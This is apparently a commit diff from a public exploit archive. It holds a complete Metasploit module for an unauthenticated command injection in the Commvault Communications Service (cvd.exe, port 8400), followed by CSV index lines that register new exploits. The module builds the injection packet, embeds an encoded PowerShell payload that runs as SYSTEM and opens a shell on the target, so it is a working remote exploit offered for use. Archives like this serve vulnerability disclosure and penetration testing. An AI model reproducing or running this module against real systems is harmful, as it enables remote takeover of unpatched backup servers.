class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Commvault Communications Service (cvd) Command Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a command injection vulnerability
|
||||
discovered in Commvault Service v11 SP5 and earlier versions (tested in v11 SP5
|
||||
and v10). The vulnerability exists in the cvd.exe service and allows an
|
||||
attacker to execute arbitrary commands in the context of the service. By
|
||||
default, the Commvault Communications service installs and runs as SYSTEM in
|
||||
Windows and does not require authentication. This vulnerability was discovered
|
||||
in the Windows version. The Linux version wasn't tested.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'b0yd', # @rwincey / Vulnerability Discovery and MSF module author
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://www.securifera.com/advisories/sec-2017-0001/']
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Commvault Communications Service (cvd) / Microsoft Windows 7 and higher',
|
||||
{
|
||||
'Arch' => [ARCH_X64, ARCH_X86]
|
||||
}
|
||||
],
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Dec 12 2017'))
|
||||
|
||||
register_options([Opt::RPORT(8400)])
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
buf = build_exploit
|
||||
print_status("Connecting to Commvault Communications Service.")
|
||||
connect
|
||||
print_status("Executing payload")
|
||||
#Send the payload
|
||||
sock.put(buf)
|
||||
#Handle the shell
|
||||
handler
|
||||
disconnect
|
||||
|
||||
end
|
||||
|
||||
|
||||
def build_exploit
|
||||
|
||||
#Get encoded powershell of payload
|
||||
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection')
|
||||
#Remove additional cmd.exe call
|
||||
psh = "powershell"
|
||||
idx = command.index(psh)
|
||||
command = command[(idx)..-1]
|
||||
|
||||
#Build packet
|
||||
cmd_path = 'C:\Windows\System32\cmd.exe'
|
||||
msg_type = 9
|
||||
zero = 0
|
||||
payload = ""
|
||||
payload += make_nops(8)
|
||||
payload += [msg_type].pack('I>')
|
||||
payload += make_nops(328)
|
||||
payload += cmd_path
|
||||
payload += ";"
|
||||
payload += ' /c "'
|
||||
payload += command
|
||||
payload += '" && echo '
|
||||
payload += "\x00"
|
||||
payload += [zero].pack('I>')
|
||||
|
||||
#Add length header and payload
|
||||
ret_data = [payload.length].pack('I>')
|
||||
ret_data += payload
|
||||
|
||||
ret_data
|
||||
|
||||
end
|
||||
end
|
||||
|
|
@ -5432,6 +5432,9 @@ id,file,description,date,author,type,platform,port
|
|||
43372,exploits/windows/dos/43372.html,"Microsoft Windows - 'jscript!RegExpFncObj::LastParen' Out-of-Bounds Read",2017-12-19,"Google Security Research",dos,windows,
|
||||
43373,exploits/windows/dos/43373.txt,"Intel Content Protection HECI Service - Type Confusion Privilege Escalation",2017-12-19,"Google Security Research",dos,windows,
|
||||
43380,exploits/windows/dos/43380.cpp,"Microsoft Windows Kernel - 'NtQueryVirtualMemory(MemoryMappedFilenameInformation)' Double-Write Ring-0 Address Leak",2017-12-20,"Google Security Research",dos,windows,
|
||||
43466,exploits/windows/dos/43466.js,"Microsoft Edge Chakra JIT - Op_MaxInAnArray and Op_MinInAnArray can Explicitly call User-Defined JavaScript Functions",2018-01-09,"Google Security Research",dos,windows,
|
||||
43467,exploits/windows/dos/43467.js,"Microsoft Edge Chakra JIT - BackwardPass::RemoveEmptyLoopAfterMemOp Does not Insert Branches",2018-01-09,"Google Security Research",dos,windows,
|
||||
43468,exploits/windows/dos/43468.js,"Microsoft Edge Chakra - 'asm.js' Out-of-Bounds Read",2018-01-09,"Google Security Research",dos,windows,
|
||||
43391,exploits/windows/dos/43391.py,"GetGo Download Manager 5.3.0.2712 - Buffer Overflow",2017-12-26,"Aloyce J. Makalanga",dos,windows,
|
||||
43401,exploits/hardware/dos/43401.py,"Telesquare SKT LTE Router SDT-CS3B1 - Denial of Service",2017-12-27,LiquidWorm,dos,hardware,
|
||||
43403,exploits/windows/dos/43403.py,"SysGauge Server 3.6.18 - Denial of Service",2017-12-27,"Ahmad Mahfouz",dos,windows,
|
||||
|
|
@ -5445,6 +5448,7 @@ id,file,description,date,author,type,platform,port
|
|||
43453,exploits/windows/dos/43453.py,"Sync Breeze Enterprise 10.1.16 - Denial of Service",2018-01-08,"Ahmad Mahfouz",dos,windows,
|
||||
43454,exploits/windows/dos/43454.py,"DiskBoss Enterprise 8.5.12 - Denial of Service",2018-01-08,"Ahmad Mahfouz",dos,windows,
|
||||
43456,exploits/windows/dos/43456.txt,"BarcodeWiz ActiveX Control < 6.7 - Buffer Overflow (PoC)",2018-01-08,hyp3rlinx,dos,windows,
|
||||
43471,exploits/windows/dos/43471.cpp,"Microsoft Windows - 'nt!NtQuerySystemInformation (information class 138_ QueryMemoryTopologyInformation)' Kernel Pool Memory Disclosure",2018-01-09,"Google Security Research",dos,windows,
|
||||
41623,exploits/windows/dos/41623.html,"Microsoft Edge 38.14393.0.0 - JavaScript Engine Use-After-Free",2017-03-16,"Google Security Research",dos,windows,
|
||||
41629,exploits/windows/dos/41629.py,"FTPShell Client 6.53 - 'Session name' Local Buffer Overflow",2017-03-17,ScrR1pTK1dd13,dos,windows,
|
||||
41637,exploits/windows/dos/41637.py,"FTPShell Server 6.56 - 'ChangePassword' Buffer Overflow",2017-03-19,ScrR1pTK1dd13,dos,windows,
|
||||
|
|
@ -5776,6 +5780,7 @@ id,file,description,date,author,type,platform,port
|
|||
43174,exploits/multiple/dos/43174.html,"WebKit - 'WebCore::DocumentLoader::frameLoader' Use-After-Free",2017-11-22,"Google Security Research",dos,multiple,
|
||||
43175,exploits/multiple/dos/43175.html,"WebKit - 'WebCore::RenderObject::previousSibling' Use-After-Free",2017-11-22,"Google Security Research",dos,multiple,
|
||||
43176,exploits/multiple/dos/43176.html,"WebKit - 'WebCore::FormSubmission::create' Use-After-Free",2017-11-22,"Google Security Research",dos,multiple,
|
||||
43464,exploits/android/dos/43464.txt,"Android - Inter-Process munmap due to Race Condition in ashmem",2018-01-08,"Google Security Research",dos,android,
|
||||
43178,exploits/linux/dos/43178.c,"Linux - 'mincore()' Uninitialized Kernel Heap Page Disclosure",2017-11-24,"Google Security Research",dos,linux,
|
||||
43180,exploits/windows/dos/43180.js,"Microsoft Edge Chakra JIT - 'BailOutOnTaggedValue' Bailouts Type Confusion",2017-11-27,"Google Security Research",dos,windows,
|
||||
43181,exploits/windows/dos/43181.js,"Microsoft Edge Chakra JIT - 'Inline::InlineCallApplyTarget_Shared' does not Return the return Instruction",2017-11-27,"Google Security Research",dos,windows,
|
||||
|
|
@ -5786,7 +5791,9 @@ id,file,description,date,author,type,platform,port
|
|||
43186,exploits/windows/dos/43186.pl,"Winamp Pro 5.66.Build.3512 - Denial of Service",2017-11-22,R.Yavari,dos,windows,
|
||||
43189,exploits/android/dos/43189.py,"Android Gmail < 7.11.5.176568039 - Directory Traversal in Attachment Download",2017-11-28,"Google Security Research",dos,android,
|
||||
43194,exploits/linux/dos/43194.txt,"QEMU - NBD Server Long Export Name Stack Buffer Overflow",2017-11-29,"Eric Blake",dos,linux,
|
||||
43470,exploits/windows/dos/43470.cpp,"Microsoft Windows - 'nt!NtQueryInformationProcess (information class 76_ QueryProcessEnergyValues)' Kernel Stack Memory Disclosure",2018-01-09,"Google Security Research",dos,windows,
|
||||
43199,exploits/linux/dos/43199.c,"Linux Kernel - 'The Huge Dirty Cow' Overwriting The Huge Zero Page",2017-11-30,Bindecy,dos,linux,
|
||||
43469,exploits/windows/dos/43469.js,"Microsoft Edge Chakra JIT - Escape Analysis Bug",2018-01-09,"Google Security Research",dos,windows,
|
||||
43207,exploits/windows/dos/43207.txt,"Abyss Web Server < 2.11.6 - Heap Memory Corruption",2017-12-01,hyp3rlinx,dos,windows,
|
||||
43229,exploits/windows/dos/43229.cs,"Microsoft Windows Defender - Controlled Folder Bypass Through UNC Path",2017-12-07,"Google Security Research",dos,windows,
|
||||
43233,exploits/multiple/dos/43233.txt,"Wireshark 2.4.0 < 2.4.2 / 2.2.0 < 2.2.10 - CIP Safety Dissector Crash",2017-12-07,Wireshark,dos,multiple,
|
||||
|
|
@ -9251,6 +9258,7 @@ id,file,description,date,author,type,platform,port
|
|||
43421,exploits/windows/local/43421.py,"Kingsoft Antivirus/Internet Security 9+ - Privilege Escalation",2018-01-03,mr_me,local,windows,
|
||||
43427,exploits/multiple/local/43427.c,"Multiple CPUs - 'Spectre' Information Disclosure",2018-01-03,Multiple,local,multiple,
|
||||
43449,exploits/linux/local/43449.rb,"VMware Workstation - ALSA Config File Local Privilege Escalation (Metasploit)",2018-01-05,Metasploit,local,linux,
|
||||
43465,exploits/windows/local/43465.txt,"Microsoft Windows - Local XPS Print Spooler Sandbox Escape",2018-01-08,"Google Security Research",local,windows,
|
||||
41675,exploits/android/local/41675.rb,"Google Android 4.2 Browser and WebView - 'addJavascriptInterface' Code Execution (Metasploit)",2012-12-21,Metasploit,local,android,
|
||||
41683,exploits/multiple/local/41683.rb,"Mozilla Firefox < 17.0.1 - Flash Privileged Code Injection (Metasploit)",2013-01-08,Metasploit,local,multiple,
|
||||
41700,exploits/windows/local/41700.rb,"Sun Java Web Start Plugin - Command Line Argument Injection (Metasploit)",2010-04-09,Metasploit,local,windows,
|
||||
|
|
@ -15900,6 +15908,7 @@ id,file,description,date,author,type,platform,port
|
|||
43448,exploits/windows/remote/43448.rb,"Ayukov NFTP FTP Client 2.0 - Buffer Overflow (Metasploit)",2018-01-05,Metasploit,remote,windows,
|
||||
43450,exploits/hardware/remote/43450.py,"Cisco IOS - Remote Code Execution",2018-01-05,"Artem Kondratenko",remote,hardware,
|
||||
43458,exploits/multiple/remote/43458.py,"Oracle WebLogic < 10.3.6 - 'wls-wsat' Component Deserialisation Remote Command Execution",2018-01-03,"Kevin Kirsche",remote,multiple,
|
||||
43472,exploits/windows/remote/43472.rb,"Commvault Communications Service (cvd) - Command Injection (Metasploit)",2018-01-09,Metasploit,remote,windows,8400
|
||||
41638,exploits/windows/remote/41638.txt,"HttpServer 1.0 - Directory Traversal",2017-03-19,malwrforensics,remote,windows,
|
||||
41666,exploits/windows/remote/41666.py,"Disk Sorter Enterprise 9.5.12 - 'GET' Remote Buffer Overflow (SEH)",2017-03-22,"Daniel Teixeira",remote,windows,
|
||||
41672,exploits/windows/remote/41672.rb,"SysGauge 1.5.18 - SMTP Validation Buffer Overflow (Metasploit)",2017-02-28,Metasploit,remote,windows,
|
||||
|
|
@ -26774,7 +26783,7 @@ id,file,description,date,author,type,platform,port
|
|||
23429,exploits/php/webapps/23429.txt,"Mambo Open Source 4.0.14 Server - SQL Injection",2003-12-10,"Chintan Trivedi",webapps,php,
|
||||
23430,exploits/php/webapps/23430.txt,"Mambo Open Source 4.0.14 - 'PollBooth.php' Multiple SQL Injections",2003-12-10,frog,webapps,php,
|
||||
23432,exploits/cgi/webapps/23432.txt,"RemotelyAnywhere - Default.HTML Logout Message Injection",2003-12-11,"Oliver Karow",webapps,cgi,
|
||||
23434,exploits/php/webapps/23434.pl,"osCommerce 2.2 - SQL Injection",2003-12-13,JeiAr,webapps,php,
|
||||
23434,exploits/php/webapps/23434.pl,"osCommerce 2.2 - SQL Injection",2003-12-13,"GulfTech Security",webapps,php,
|
||||
23440,exploits/asp/webapps/23440.txt,"elektropost episerver 3/4 - Multiple Vulnerabilities",2003-12-15,babbelbubbel,webapps,asp,
|
||||
23443,exploits/php/webapps/23443.txt,"Aardvark Topsites 4.1 PHP - Multiple Vulnerabilities",2003-12-16,JeiAr,webapps,php,
|
||||
23445,exploits/php/webapps/23445.txt,"osCommerce 2.2 - 'osCsid' Cross-Site Scripting",2003-12-17,JeiAr,webapps,php,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue